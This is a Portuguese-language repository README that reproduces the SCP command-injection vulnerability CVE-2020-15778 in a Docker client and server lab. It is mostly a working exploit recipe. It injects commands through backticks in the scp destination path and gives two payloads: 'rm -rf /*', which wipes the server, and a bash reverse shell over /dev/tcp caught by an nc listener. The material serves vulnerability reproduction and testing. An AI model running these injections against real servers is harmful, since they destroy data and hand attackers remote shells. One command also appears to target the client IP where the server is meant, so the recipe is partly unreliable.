
Reproduz o exploit CVE-2020-15778 de injeção de comando SCP com configuração cliente-servidor baseada em Docker para testar execução remota de código e payloads de shell reverso.
Este repositório reproduz CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
Obtenha o endereço IP interno do servidor scp através de
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
No terminal do cliente, execute
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
A senha é "PASSWORD".
Aqui estão alguns exemplos para esta exploração.
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
Escute uma porta na máquina cliente.
nc -lvvp 8080
Use scp para forçar o servidor a mapear o bash interativo para a máquina cliente.
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
O endereço IP do cliente pode ser obtido através de
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client